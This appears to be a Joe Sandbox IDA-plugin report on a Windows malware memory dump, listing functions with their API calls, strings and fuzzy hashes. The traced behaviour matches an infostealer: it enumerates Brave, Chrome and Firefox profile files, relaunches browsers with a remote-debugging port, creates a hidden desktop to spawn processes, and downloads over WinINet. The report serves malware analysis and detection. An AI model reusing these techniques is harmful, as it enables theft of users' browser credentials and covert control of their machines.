lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 17b32a439cbe3e0ae32343c02b1fa56e4c99a47b2d8951fd533b5c970d2f3f07
Instruction ID: 994efd3a0b10ceab7f5143b43c992d696de16e9dedea517f3aaaefbefb2e1973
Opcode Fuzzy Hash: 17b32a439cbe3e0ae32343c02b1fa56e4c99a47b2d8951fd533b5c970d2f3f07
Instruction Fuzzy Hash: F0413F79740624ABD7109FE5FC4DADCBF70AB4C702BA08061F90A99190C7F993859B7D

Function 0040BE40 Relevance: 63.7, APIs: 29, Strings: 7, Instructions: 727
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2F,00000000,?,?,?,00421450,00420B2E), ref: 0040BEC5
StrCmpCA.SHLWAPI(?,00421454), ref: 0040BF33
StrCmpCA.SHLWAPI(?,00421458), ref: 0040BF49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C8A9
FindClose.KERNEL32(000000FF), ref: 0040C8BB

Strings

--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C3B2
Brave, xrefs: 0040C0E8
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C495
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C534
Google Chrome, xrefs: 0040C6F8
\Brave\Preferences, xrefs: 0040C1C1
Preferences, xrefs: 0040C104

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: 1912b2ffdb60f02dff4d754d6a483c874012d34c6018f03dffebec521d673f94
Instruction ID: 94c18d54b217f3a33de79012ae3cbc39d408ee074d55138b38aa149d1ce8c153
Opcode Fuzzy Hash: 1912b2ffdb60f02dff4d754d6a483c874012d34c6018f03dffebec521d673f94
Instruction Fuzzy Hash: 5C52A871A011049BCB14FB61DC96EEE733DAF54304F4045AEF50A66091EF386B98CFAA

Function 00414B60 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414B7C
FindFirstFileA.KERNEL32(?,?), ref: 00414B93
StrCmpCA.SHLWAPI(?,00420FC4), ref: 00414BC1
StrCmpCA.SHLWAPI(?,00420FC8), ref: 00414BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00414DCD
FindClose.KERNEL32(000000FF), ref: 00414DE2

Strings

%s\%s, xrefs: 00414C4B
%s\%s, xrefs: 00414BF4
%s\*, xrefs: 00414B70
-SA, xrefs: 00414DE8, 00414DAB, 00414D54, 00414BA8, 00414D57, 00414DAE

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$-SA
API String ID: 180737720-309722913
Opcode ID: 9989705b10511079cbc1c9db8c5933311762cc962bdf51fd0f19e0690b846a51
Instruction ID: 6eceda3e2f2aeeb228f448c6629b31eb3c314648a2220d8d34325ba683034fba
Opcode Fuzzy Hash: 9989705b10511079cbc1c9db8c5933311762cc962bdf51fd0f19e0690b846a51
Instruction Fuzzy Hash: F2617771904218ABCB20EBA0ED45FEA737DBF48701F40458EF60996191FB74AB84CF95

Function 00409E30 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 157stringsleepprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00409E47

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,00859578,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

wsprintfA.USER32 ref: 00409E7F
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409EA3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409ECC
memset.MSVCRT ref: 00409EED
lstrcatA.KERNEL32(00000000,?), ref: 00409F03
lstrcatA.KERNEL32(00000000,?), ref: 00409F17
lstrcatA.KERNEL32(00000000,004212D8), ref: 00409F29
memset.MSVCRT ref: 00409F3D
lstrcpy.KERNEL32(?,00000000), ref: 00409F7C
memset.MSVCRT ref: 00409F9C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 0040A004
Sleep.KERNEL32(00001388), ref: 0040A013
CloseDesktop.USER32(00000000), ref: 0040A060

Strings

D, xrefs: 00409FA4

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: memset$Desktoplstrcat$Create$CloseOpenProcessSleepSystemTimelstrcpywsprintf
String ID: D
API String ID: 1347862506-2746444292
Opcode ID: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction ID: 9351db1e319cd03a78e50f41365f33c4a7b54471eb3ec1f6bde0cae738676000
Opcode Fuzzy Hash: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction Fuzzy Hash: B551B3B1D04318ABDB20DF60DC4AFDA7778AB48704F004599F60DAA2D1EB75AB84CF55

Function 004140F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00414113
FindFirstFileA.KERNEL32(?,?), ref: 0041412A
StrCmpCA.SHLWAPI(?,00420F94), ref: 00414158
StrCmpCA.SHLWAPI(?,00420F98), ref: 0041416E
FindNextFileA.KERNEL32(000000FF,?), ref: 004142BC
FindClose.KERNEL32(000000FF), ref: 004142D1

Strings

%s\%s, xrefs: 00414107

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9d44ee2d1d3302ed3f560bb1c24b0dbad1817cb41e0c40033f90fa3194e93cf6
Instruction ID: fabef74ebea8da44b501a85f582971371f90885c40acf49b74ac124388ccf1e1
Opcode Fuzzy Hash: 9d44ee2d1d3302ed3f560bb1c24b0dbad1817cb41e0c40033f90fa3194e93cf6
Instruction Fuzzy Hash: 745179B1904118ABCB24EBB0DD45EEA737DBB58304F4045DEB60996090EB74ABC5CF59

Function 00405000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DE3,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(+aA,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(+aA), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Strings

+aA, xrefs: 00405105, 0040508D, 00405090, 00405108
+aA, xrefs: 00405051, 00405134

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID: +aA$+aA
API String ID: 1008454911-2425922966
Opcode ID: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction ID: fde31ff110f26a7c533ed41685ed538a2d60c52cc522202a3453e975d8f44226
Opcode Fuzzy Hash: 2054dbe4896dccbf1b25db0542e201d3eadf361b24acad6cfbdf1ee3c924dd12
Instruction Fuzzy Hash: 193136B4E01218ABDB20CF54DC85BDDB7B5EB48304F1081EAFA09A7281D7746AC18F9D

Function 0040F7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004216B0,00420D97), ref: 0040F81E
StrCmpCA.SHLWAPI(?,004216B4), ref: 0040F86F
StrCmpCA.SHLWAPI(?,004216B8), ref: 0040F885
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FBB1
FindClose.KERNEL32(000000FF), ref: 0040FBC3

Strings

prefs.js, xrefs: 0040F912

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 56bf41a86076ff3129419a594c17d37184cd94a16afeb124d41c2b04834a76a9
Instruction ID: 41002e5bbb8aa5eaa1de2a73ae7baa64e6dc855d43d68c47d205a656f8df75cd
Opcode Fuzzy Hash: 56bf41a86076ff3129419a594c17d37184cd94a16afeb124d41c2b04834a76a9
Instruction Fuzzy Hash: 84B19371A011089BCB24FF61DC96FEE7379AF54304F0045AEA50A57191EF386B98CF9A

Function 00401710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

